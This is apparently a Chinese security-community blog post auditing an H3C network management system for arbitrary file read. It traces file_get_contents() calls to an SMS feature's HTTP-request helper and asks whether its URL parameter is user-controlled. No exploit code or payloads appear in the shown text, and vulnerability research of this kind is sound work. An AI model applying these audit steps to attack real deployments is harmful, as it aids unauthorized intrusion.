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<p><span class=content-title>某网络管理系统代码审计</span>
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<span class="username cell"> Aiwin</span></a> <span class=i-seprator> / </span>
<span> 2024-02-09 12:36:00</span><span class=i-seprator> / </span>
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<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
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<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
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<h1 id=toc-0>H3c 网管系统代码审计</h1>
<p>系统里面除了<code>.php</code>文件,还有很多的<code>.mds</code> 文件,路由的处理逻辑大部分都在<code>.mds</code>文件中,但是要注意的是<code>Phpstorm</code>这类开发者工具在外面进行全局搜索的时候,不会对<code>mds</code>中的文件进行匹配,导致了开始审计的时候压根就找不到漏洞。</p>
<h1 id=toc-1>任意文件读取</h1>
<p>一般<code>php</code> 类型的任意文件读取,都是通过<code>fopen()</code>以及<code>file_get_contents()</code>这些文件读取函数中的参数被用户恶意控制造成的,所以在看的时候直接全局搜这些可利用函数看上下文代码是否参数可被控制。</p>
<p>直接搜<code>file_get_contents()</code>会发现有大量的这种函数,但是大量类似的函数参数都是直接或间接被写死的。</p>
<p>直接静态变量的形式写死:</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180925-2317dccc-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABg8AAAPiCAYAAABIUU3IAAEAAElEQVR4nOzdeXgb1b0//vfIsi15ky1Llk0SZ/EWsrOUkMRhaWkJJCRlDbRASyltaHv7ayktpXB723uhhdDty+0tofTSFihLWqBACaFhJ04IlyV74yUkcRYvkmXJm+RYmvn9MVpG+0iWLDt+v54nD3i285kzM5J9zpzPERrPv1ACgLpZM9D6yWEQEREREREREREREdHkVTdrBjTZDoKIiIiIiIiIiIiIiMYXrdlYmu0YiIiIiIiIiIiIiIhoHNHmQ8x2DERERERERERERERENI4wbREREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYXQZjsAIiIiIiIiIiIiomwq0OthKClCbm5utkM5JYmiBJfbjV6HA6IoZTucrDIbS2G1O7Idhipy54GQ5SiIiIiIiIiIiIiIsqC4qBCnVVZiZOQkBgaHIEqTq3G7QK+Hrcee0TJyc7WoMJlQVFiA9mMnIE2yOp6oOPKAiIiIiIiIiIiIJi1TuRHDw8NoP34CoihmO5wxN7uuBkMuV2YLcQH9/YOoq5mBosIC9A8MZrY8SgsNRx0QERERERERERHRZJWXmwu7wzEpOw7GkiiJGBgcQn5eXrZDIZU4YTIRERERERERERFNWoIgwOPxZjuMSWHEMwIIfJt9omDnARERERERERERERHRKUCjyUnbsTjnARERERERERERURyCIKDUUAKdTpf0vm63Gw5nHyeIJaKMy83NxXXXXodXX30VXd1doz4eOw+IiIiIiIiIiIjimDF9GooKCuAePpn0viZjGUpLDTh0uD0DkRHRaE2bOg1Tp01Nad9jR4/h6LGjaY4odY3LlsFsNuGqq67E3/727Kg7EHydB8wzRUREREREREREFE6ny0dJUREOHTuO4ZPJdx7k5+Vh5tQp0Ony4XYPZyBCIhqNclM5li5ZktK+r7veGDedB5WWSpxxxhkAAJ1Ol5YOBI1RYtcBERERERERERFRNHm5uQCQUseBcj//cYhofNm1aydaW1uT3q+1tRW7du1Mf0ApEAQBn/3sRRAUk1H7OxAsFZaUj6stBdCbwo6iVIGL1t2M5WYBB/5+L57Zm1wXhCjN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 truncated
<p>看了很多函数,发现唯一好像有机会的地方是某个模拟<code>http</code>请求的函数:</p>
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180933-27d56612-c66a-1.png title><img src=data:image/png;base64,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 truncated
<blockquote><p>通过<code>http_build_query()</code>创建一个<code>http</code>的查询,通过<code>stream_context_create()</code>来用于创建并返回一个新的上下文资源,以便在流操作函数中使用,一般参数都说以数组的形式定义请求头的各种参数等,随后进行<code>file_get_contents()</code>,<code>false</code>表示不会 在<code>include path</code>下寻找文件。</p>
</blockquote>
<p>往上寻找能够发现是一个短信功能调用了这个函数,它通过发送一个<code>http</code>的请求去第三方的短信接口来获取短信的内容并返回给用户,直接看<code>$gwUrl</code> 是否可控。</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180940-2c5f80dc-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABJoAAAJ5CAYAAADmaVqQAAEAAElEQVR4nOz9d3xcR3bnDX/rdiNnEMyZIECAYM5BpERKo2RpJM2MNJqRZsZe7z722t71Ou6zu8/az7Pr1971rtN6ba/DOGrGmkhlihIVKeYcAQaAAEHknFP3rfePm+qm7gYISpoZHX7A7r636tSpU6dOnfrdqrqioqJSYtL4xDif0Wc0vSSU7zI0VXC+yaSfrryfMkqhGjI0kXBpP+A2TvuE85g2XcqEPwOuJpH/LlBweSL4p7T/c90UIuh7wD2Ll08RRot6ZZHS+nRnEBZTMXl9fdz6DaVU3ISpMBGUSHrr4tWRhhCO/qU0tSytlOr3VEhajJVLZk+U0mgLgcNTOgIKBNFohGg0SiQSAWBiYoKJiQl0XUf6TQq1Lzi3pZ3AqxNN08w/846uo+tmTaVEIo1yTBu2cvrKtmUIsBTT3iz9WVUUAjQhDH0ryTVNIxIx6q1pmslSoOtxYrEY8ViMuK4jpUQTwuYvhECLRIhGokSiEdveXf1AUY7j1pTOZX/4Kyi8DBDh9mi3qXTaG7MFhPP540NuTxSsFq+CUuRrZ5uszpzEqt06Nm20i7T7o19KGVKgdLP3/piif5XOd7Oqll2rPO1P4f6dhPmnnublpU8hV/BY5uq/Pj8pbLOSSKQu0aV07MDk683qvRciTsrUPPCjMY8SniDD6/sTdAOSDNL++0HJU7XzJPTjEel7xh8PSaSnR1ij7jQ6gbuhyITTi2ksMBU1JBqmUhDFm0X120I4n849J8YXgRwmUX8n0JgcSfVLSIdTY2CbnLRSSSO9Y6uVSKBw8AsZnaTYn9GPJSUDGybLK2gYn0oPSQRyJJI5Wd5U6C6AVamyEwHfE+S9MzgmmVDToIMQFsEaDp7UJKJEc8IkIoTySSiB9H1xcliggAIqeCM2BWtKqBv3r8T94OOH5D4G8rkSVXcKihM4T7XaQNrJjT9hAxTCYImQ0gGe7DthFBBABzSPUO4ZAb1i16YcBvilAdKcdIpgZsrkKMguRKgPlIbOhEBoGgKpBApG3RG4ACcUtTpFWzIFT7odiY00wgKJzDayJv+2TPafsOseiURs2fS4jgQ0MPRjBTFSR+oawrhhzCtdVfcCu4p09ocwg/agmoSo0ffbOzUV/HiCTOCtkN/SpPuiZ/Ya7Llk0MVQcicNmITZIJPZjxXANwhEkK7vQZSKdaQWH6jakBjqscEsKV09y6VGIUKnnM7XaZqpf+IUXIGg+gvb2wXoXm1vn4klU1KS+8GN8SNJwvcl8OcUKUlA4xli72bkOn00nfOjMLIMLEwjd+KFPiFKKNxdkjoBoOn6nQh0mhbyj5vBcdqU2E0+n1QYeH2ZUMYlbyJp/bJiZHwPulOhz4Cmn3j6URw9Pw6ZPyGQKYzuxohyN4OnFGRNZUwIo8kNx1NV32QUJFwgkzrpDAWBQgVSpU08abMn1iFFfKoDEZVUVVtCTw0d9ABPbmYW6CGUe9IcaZ3B1vv0UAVSAgRXLnsHbAunsfEJYYAnQtMQmnABX8F1CoLQPPibJ5UNcklp1MsCsTRA93OWpgw2FiSU+lv3PPUJKlkgCF6Noehekc07sY5omokaSAcMVAqUUqJLHSE1u05CSJtv0p6qYE62kfia1BOQBdTTxzAg648aTd1PeKLUaQY/kslkmKwHZPLYVhjg4OedACgMWtFnaS3JZMoHNiEVgFQE9ydp9Vs3P7dvUSYDn3Lbm6qIXl8aDiQpeVQ7CMKjfN8nIZlvAE6U8NPXKAklmpQTUDklzpRkOJs0fTLxTFipHwcIFRYFON9+JGK8u02hDgF3bDnthbrHPF+8b4E1CYaXZKzvmJKZaaARqSuCwxyu8P0KSjZNQNNnpv6jT9PVfmEj8WQddSo2Nale8zHSHZb/cVZrqpP5yeSffNKE5A5cwkCc6YKV1Cm2N+wN3hrnTLgTTLqSiheQSZkouyVJPBp9PKGQUp4i4F0r07UVDUcpymBugzjKGCmEAppYgCBOGgeAwqW4ZF3Pua9UXDh3BdIMNAxwSROasb0M0KVlrhI1h11Vgk0o6Kaay5pwWZNWIQRSA6kra3rMD103J+3CksVZmSSls+3OpWxpwnTCuSy81mjrzoQErG17luaV1WWaptn4WDwed+rkzL2NLYBCEDG3J1pgk0puew8A8dSIL6xhPe0RTiJA/+HW8mmKkpQuc+ecvE5GwUCmWrI3b0AcrIBMntVMrvThXj2k8yiXpqodGfDhLtXA5KQLpxNCTnJG8ukHm/zt4dBkRPYDRAG/FZDJupBwm+RkKMxPeB3ep6qXO5SSrr1oXkq5w/2d8H1z0nlVlyjSCpJo6nQ3AunplzKI/FvonNI/dVZnNbD0Xvy4ykpw39tcYXlV8Mg3p5DmLMD5S9hPzLHJ/wAhOK3xmXwsmFTbJ0isxrB28eZ/0o7grJRKj/bIF1TENAFNnzoT/4xSpjD3/nHwT4ZgJJwFpHD/k6KAMNaZm00H24+X7qDcwMmeTSLBrxRyTAJkSrUK4fG6O/QJO3tJqEuMvIymq/0swCnJYR6f6Lxjsu4kaZyWQm0sQMIMAGwzEAJNs84MEiaYok5G3IO/r3g12FDFtEESNYj2nKQgsYEQYZajnp2kSx1dj5t/Xn6+eXtwtQNuBp/nZQFeTuNYABToSDNikEpApEUi6LolqyWfVPqedAlnn3tlgVtgg65SSnRdR4/rxnUtYgsrDWGIaBG0NEMmQyc6mqbZZVmyAOY5T06IZ8kiXZ3zzsa1YL27QjKELxgMPzXv00SJAACY4tQpUN0BjtA6ZyspM3f5DnBsBcP+Jf3SbjSvHbh5JQOZUrqnkGsKLZPZjdlvmQyu5Gwcm7RwnwC5wJ+A+0Ko2oDJ1CXRfFJiLtyU/n6YzOYTUUqm/SmmRGOIi+yKqoaZqI2SaTOoH/rhvzDZpteXWpWbjHdLdD/VuqdSi+T9IBHwPWl/7VJDajH6pOjjRr9SaUYR8D0hyDSZ9ktNOCM2Unn70/ivBY8mQd+TShrapE7fcIV3ZoBpj1eusiTuVczBzLXAq5/RZzStlMxZTT7Q+FGgoNp8EjWUaSUsKV9AWsgqn2Ub/zNfWny3dtFOH8jkZy2D/1KUIJRtwrvq5MSYEJdu/E98YVFUOdz1LoJMVgmJMaaQXIl/TzulWMDS9f+BJxZG7pxRWG5zADTOKhJ2OwUfqi6Uf0757qvCTu8L/ATY0x114muSpjmglyWDbh7ULZ3DkoAQk/G0u7XqKHQCYE/yhH02lGb/aWj2IemGXFrEOUTc2s5mHVxurcCy5Fq64T/x5KI0l2gCB8STuo6NAliy6GZ9zbpaPUbBBNHMMiORiLkqzVCixVfXJXpcNw9OdwNpIBQ/4NZnoFIT9MvkXdYBm+wmTykfhLXYndD8in/HA3P8fvxOy3EBBuoWS5t/QB8Q6o8giVL5U/SplK1L55BnXbELl6y+8jx1SRVkCqBFK3+ZR+dFUREUp/Qk/ddTmFM3b5Iwofw6CmD7CZC/3ew2Q111Jpmx9BfYUKwZ/dg8sFv3tGvyP383dz+FDweZplozby3tA4DxtQYyayGLFhWiJVtZHXJbRNPRPkm4OmUHFS7jJ26SnyoSns9E9Em0+90YkT6FJAXO4ZRJ2iRBM6SiqaBRx75iOUjXXyJyp0tU/p20otuXCTs2NOY0wk6TCh+VnKhkCltN3Gw/QaeYhKSENE0S867x+omnSWPgSUlKQXqazkQsFcfqBZhSfdIwXSjzNJNH/KAHBh8rwC8zmL/r63zx8/cwt+27/O7VRia8ae6yDH7PkBiZDyIpI2ha3J6zTvtQHcDUm9/19ECAa+WS6+NugUxeTU4mcPHn+jjIN6QkGyYCGzcFiT1qCVxabraZ90wkKaW7zTwyCkDqAi0i7eONXOcwqXM96amed/5tDdpCs8vWTeBFSh0DsrCOq/Yz8qonBFryT2XNJ2g2EGrpQNmTpoJxurJ9R2gOICWlJB6PGwBSAiHc76Jz/gcLKNDRdA2pWTqxEBpDJutwcEs+L6Ak0ZG6E3Q5K5uw28+K41x4R6jtBfWrBO/zcZVhaFyK4C0NLvbCf+luUtCoOplypeeHuinN4KmACr4SAg3DxzisWdRr0irbBpucN98kymP7Apcowkkc2FyORKn6ykCdBgwDgPlU2K0I04KwQnz1rLOAE+8/heStqTCBHrO/6478VjcHaa+QtDpryPtEbZYurbnMTJnSmeiTVDN6eKaqzamMlfaDiNy1PPSvHyGr4UPe/t4Pqe6KJS1Eygzm3/NVHrp3NbPzJjj717/JgbopCHGnFDoOS8/NIL8ZNMEOivODi737ZMn/cc4t1Pp/ivpyQLc1wBdvG08xavSp+lNUd4us+qr78133zd8pqyB1fSmnPzg0TSYyJTYeXxr0zSZr1TtONGB8OPVXZRAVFZW2POMT4wofwbb1WTy/KMrMdON1xT03Bvm5s87ZCZ8kLV6YwT0ZMV6+HmMwwZ5HKQVP3J/Lc4WSH743wHd6fsLAJsXa1n31Xn7waI5zYayJX/jZ8xwQ02PdUmbz8//vPfzm4hH+/Hc+5A/qvAvmEk3ffdwS3Pt0AU1y2zqu/0Iuf/obh/jTVqdOxRVL+M9fXsTuxVmkj4xyo7qRP/p2HR92m/lkBv/2d/byy4sn2PeHB/mNc4bz+cKvPsj/WB/h+AsHee6tiZT5uWSSaSz6qf/Iv3h4Brff/ideefskHaPuNJnF93D/6s0sLZ5JZryX9vbzHL7wFrXDd0+v89f8Bl9dXMt3XvkBt1LYqyzlDLbu+TfcW9TL0ff/iI+U/jtn9a/z9RUznLSx87y075+5nsoeaLine truncated
